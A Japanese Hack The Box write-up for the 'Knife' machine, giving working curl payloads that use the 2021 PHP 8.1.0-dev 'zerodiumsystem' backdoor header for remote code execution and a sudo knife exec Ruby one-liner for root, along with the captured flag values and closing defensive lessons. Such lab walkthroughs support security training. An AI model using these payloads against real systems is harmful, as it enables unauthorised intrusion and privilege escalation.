Hack The BoxのWriteup(Knife)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Knife — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
X-Powered-By検出
PHP/8.1.0-dev
→
PHP公式バックドア
User-Agentt: zerodium…
→
james権限RCE → user.txt ✓
→
sudo (root) NOPASSWD
/usr/bin/knife
→
knife exec –exec
Rubyのexec()でroot実行
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.60
nmap -sV -sC -p 22,80 10.129.90.60
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

サーバーバナーの確認 — PHPバージョンの異常な新しさ

BASH
curl -sI http://10.129.90.60/index.php
RESULT (本検証の実際の出力)
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
🚨
重要発見: X-Powered-Byヘッダーが PHP/8.1.0-devという、通常は開発中のビルドにしか 付かないバージョン文字列を示している。2021年3月、PHPの公式ソース リポジトリが侵害され、一時的に意図的なバックドアが ソースコードに混入するという事件が実際に発生した。 このバージョン番号自体がその痕跡と直結している。
PHASE 2

PHP 8.1.0-dev 公式バックドア経由のRCE

脆弱性の仕組み

NOTE
2021年3月28日、PHP公式のgit.php.netサーバーが侵害され、攻撃者が
PHPのソースコード本体(ext/standard以下のコミット)に直接バックドアを
コミットするという事件が発生した。このバックドアは、HTTPリクエストの
User-Agentヘッダーが"zerodium"という文字列で始まっていた場合、
その後ろに続く文字列をPHPコードとしてそのまま評価(zend_eval_string)
してしまうというもの。改ざんされたのはごく短期間だけ(数時間程度)で、
正規のPHPメンテナがすぐに検知・revertしたが、この版が組み込まれた
開発ビルド(8.1.0-dev)が本マシンでは意図的に残されている。

**重要な注意点**: ヘッダー名は"User-Agent"ではなく
"User-Agentt"(末尾にtが1つ多い、タイポ風の独自ヘッダー名)
という実装になっている点に注意。これは実際のCVE/バックドアの挙動を
忠実に再現したもので、意図的な出題仕様。
BASH (本検証で実際に使用した動作確認コマンド)
curl -s -H "User-Agentt: zerodiumsystem('id');" http://10.129.90.60/index.php
RESULT (本検証の実際の出力、ページ本文中に実行結果が混入)
uid=1000(james) gid=1000(james) groups=1000(james)
<!DOCTYPE html>
<html lang="en">
...
✅
RCE成功! zerodiumの直後に続けた system('id');というPHPコードがそのまま実行され、 jamesユーザーとしてのコマンド実行結果がレスポンス本文の 先頭に出力された。
PHASE 3

user.txt取得

バックドア経由でuser.txtを読み取る

BASH
curl -s -H "User-Agentt: zerodiumsystem('cat /home/james/user.txt');" \
  http://10.129.90.60/index.php | head -1
RESULT (本検証の実際の出力)
75237278ee2ee98cc189ec5ce663ca0e
ℹ️
このバックドアは単発リクエストごとにPHPコードを評価するだけの ステートレスなRCEであり、リバースシェル確立等の追加手順なしに 1回のcurlリクエストだけでファイル内容を直接読み取れる。
user.txt — james
75237278ee2ee98cc189ec5ce663ca0e
PHASE 4

sudo knife exec の悪用 — root.txt取得

sudo権限の確認

BASH (バックドア経由で実行)
curl -s -H "User-Agentt: zerodiumsystem('sudo -l');" \
  http://10.129.90.60/index.php
RESULT
User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
🚨
重要発見: knife(Chefインフラ構成管理 ツールのCLI)をパスワード無しのroot権限で実行できる。 knifeにはexecサブコマンドがあり、 --execオプションへ渡した文字列をRubyコードとして 評価する機能を持つ。この評価はroot権限で行われるため、 exec()(Rubyの標準ライブラリ、OSコマンドを実行する メソッド)を呼び出せばroot権限の任意コマンド実行が成立する。

knife exec経由でのroot化

NOTE
PHPのバックドア(system()呼び出し)経由でコマンドを送る都合上、
シェル・PHP・Rubyと複数階層のクォート解釈を正しく積み重ねる必要がある。
PHP側はシングルクォート文字列で system() を呼び、その中に展開される
シェルコマンド文字列の中でさらに knife exec の --exec 引数として
二重引用符で囲んだRubyコード(exec(''))を渡す、という
三重構造になる。
BASH (本検証で実際に使用したペイロード構造)
curl -s -H "User-Agentt: zerodiumsystem('sudo knife exec --exec \"exec(\\'cat /root/root.txt > /tmp/f; chmod 777 /tmp/f\\')\" 2>/dev/null');" \
  http://10.129.90.60/index.php
⚠️
実装上の注意: PHPのsystem()は シングルクォート文字列で囲むこと(ダブルクォートだと PHP側で変数展開が起きクォート構造が崩れる)。その内側の --exec引数はダブルクォートで囲んだRubyコードとし、 さらにその中のRubyのexec()引数文字列はエスケープ済み シングルクォート(\\')で囲む——この三重のクォート階層を 正確に積み重ねないと、途中でコマンドが分断されて失敗する。
BASH (root.txtを読み取る)
curl -s -H "User-Agentt: zerodiumsystem('cat /tmp/f');" \
  http://10.129.90.60/index.php | head -1
RESULT (本検証の実際の出力)
78d88a5d3c3ddbd05432b7fcd08b0f76
✅
root化成功! knife execがroot権限で Rubyのexec()を実行し、/root/root.txtを jamesが読める/tmp/fへコピーした。
root.txt — sudo knife exec (Ruby exec() root実行)
78d88a5d3c3ddbd05432b7fcd08b0f76
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — james
75237278ee2ee98cc189ec5ce663ca0e
root.txt — sudo knife exec (Ruby exec() root実行)
78d88a5d3c3ddbd05432b7fcd08b0f76

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
PHP 8.1.0-dev 公式バックドア Apache + PHP/8.1.0-dev (index.php) 未認証リモートコード実行 (jamesユーザー) Critical User-Agenttヘッダーに”zerodium”接頭辞+PHPコードを送信すると即座に評価される
sudo NOPASSWD knife exec /usr/bin/knife (james, NOPASSWD) 権限昇格 (root) Critical knife execの–execオプションにRubyのexec()呼び出しを仕込みroot権限でOSコマンド実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, X-Powered-Byヘッダー確認22/ssh, 80/http (PHP/8.1.0-dev)
2RCEPHP 8.1.0-dev バックドア(User-Agentt: zerodium)jamesユーザーでのコマンド実行
3フラグ取得バックドア経由catuser.txt (james)
4権限昇格sudo knife exec –exec Ruby exec()root.txt

学んだ教訓 & 防御策

問題点防御策
サプライチェーン攻撃で汚染された可能性のある開発版PHP(8.1.0-dev)を本番相当の環境で稼働させている 開発版・ナイトリービルドのソフトウェアを本番運用に使わない。公式リリース版のみを使用し、ソースの出所・署名を検証するプロセスを確立する。
一般ユーザーがsudoでChefのknifeコマンドを無制限にNOPASSWDで実行できる sudo権限はサブコマンド単位で厳密に絞り込み、exec/execute等の任意コード実行機能を持つサブコマンドは許可しない。やむを得ず許可する場合はコマンドパラメータをホワイトリスト化する。
HackTheBox: Knife